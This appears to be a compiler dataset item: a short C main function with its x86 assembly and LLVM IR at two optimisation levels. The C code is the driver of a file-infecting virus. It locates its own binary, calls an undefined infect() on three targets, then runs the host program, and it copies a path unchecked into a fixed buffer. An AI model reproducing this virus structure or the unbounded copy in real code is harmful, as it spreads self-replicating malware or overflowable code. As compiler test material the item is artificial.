#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ exechost(char *, char **, char **);
char *getenv(char *);
int infect(int, char *);
int /*<<< orphan*/ *strcpy(char *, char *);
char *whereis(char *, char *);
int main(int argc, char **argv, char **envp) {
  char *s, *s2, *path, *dir;
  int i;
  char from[200];
  ;
  path = getenv("PATH");
  s = whereis(path, argv[0]);
  if (strcpy(from, s) == NULL)
    return -1;
  ;
  i = infect(3, from);
  exechost(from, argv, envp);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x110,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
lea    0xe8c(%rip),%rdi
call   1030 <getenv@plt>
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
call   1070 <whereis@plt>
mov    %rax,-0x20(%rbp)
lea    -0x110(%rbp),%rdi
mov    -0x20(%rbp),%rsi
call   1040 <strcpy@plt>
cmp    $0x0,%rax
jne    11b7 <main+0x67>
movl   $0xffffffff,-0x4(%rbp)
jmp    11e6 <main+0x96>
lea    -0x110(%rbp),%rsi
mov    $0x3,%edi
call   1060 <infect@plt>
mov    %eax,-0x3c(%rbp)
lea    -0x110(%rbp),%rdi
mov    -0x10(%rbp),%rsi
mov    -0x18(%rbp),%rdx
call   1050 <exechost@plt>
movl   $0x0,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x110,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r15
push   %r14
push   %rbx
sub    $0xd0,%rsp
mov    %rdx,%r14
mov    %rsi,%rbx
lea    0xe97(%rip),%rdi
call   1030 <getenv@plt>
mov    (%rbx),%rsi
mov    %rax,%rdi
call   1070 <whereis@plt>
mov    %rsp,%rdi
mov    %rax,%rsi
call   1040 <strcpy@plt>
test   %rax,%rax
je     11ab <main+0x5b>
mov    %rsp,%r15
mov    $0x3,%edi
mov    %r15,%rsi
call   1060 <infect@plt>
mov    %r15,%rdi
mov    %rbx,%rsi
mov    %r14,%rdx
call   1050 <exechost@plt>
xor    %eax,%eax
jmp    11b0 <main+0x60>
mov    $0xffffffff,%eax
add    $0xd0,%rsp
pop    %rbx
pop    %r14
pop    %r15
ret

LLVM IR (-O0):
@.str = [5 x i8] c"PATH\00"
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca i32
%5 = alloca i32
%6 = alloca i8**
%7 = alloca i8**
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca i8*
%12 = alloca i32
%13 = alloca [200 x i8]
store i32 0, i32* %4
store i32 %0, i32* %5
store i8** %1, i8*** %6
store i8** %2, i8*** %7
%14 = call i8* @getenv(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
store i8* %14, i8** %10
%15 = load i8*, i8** %10
%16 = load i8**, i8*** %6
%17 = getelementptr inbounds i8*, i8** %16, i64 0
%18 = load i8*, i8** %17
%19 = call i8* @whereis(i8* %15, i8* %18)
store i8* %19, i8** %8
%20 = getelementptr inbounds [200 x i8], [200 x i8]* %13, i64 0, i64 0
%21 = load i8*, i8** %8
%22 = call i32* @strcpy(i8* %20, i8* %21)
%23 = icmp eq i32* %22, null
br i1 %23, label %24, label %25
24: ; preds = %3
store i32 -1, i32* %4
br label %32
25: ; preds = %3
%26 = getelementptr inbounds [200 x i8], [200 x i8]* %13, i64 0, i64 0
%27 = call i32 @infect(i32 3, i8* %26)
store i32 %27, i32* %12
%28 = getelementptr inbounds [200 x i8], [200 x i8]* %13, i64 0, i64 0
%29 = load i8**, i8*** %6
%30 = load i8**, i8*** %7
%31 = call i32 @exechost(i8* %28, i8** %29, i8** %30)
store i32 0, i32* %4
br label %32
32: ; preds = %25, %24
%33 = load i32, i32* %4
ret i32 %33
}

LLVM IR (-O2):
@.str = [5 x i8] c"PATH\00"
define i32 @main(i32 %0, i8** %1, i8** %2) {
%4 = alloca [200 x i8]
%5 = getelementptr inbounds [200 x i8], [200 x i8]* %4, i64 0, i64 0
%6 = tail call i8* @getenv(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%7 = load i8*, i8** %1
%8 = tail call i8* @whereis(i8* %6, i8* %7)
%9 = call i32* @strcpy(i8* %5, i8* %8)
%10 = icmp eq i32* %9, null
br i1 %10, label %14, label %11
11: ; preds = %3
%12 = call i32 @infect(i32 3, i8* %5)
%13 = call i32 @exechost(i8* %5, i8** %1, i8** %2)
br label %14
14: ; preds = %3, %11
%15 = phi i32 [ 0, %11 ], [ -1, %3 ]
ret i32 %15
}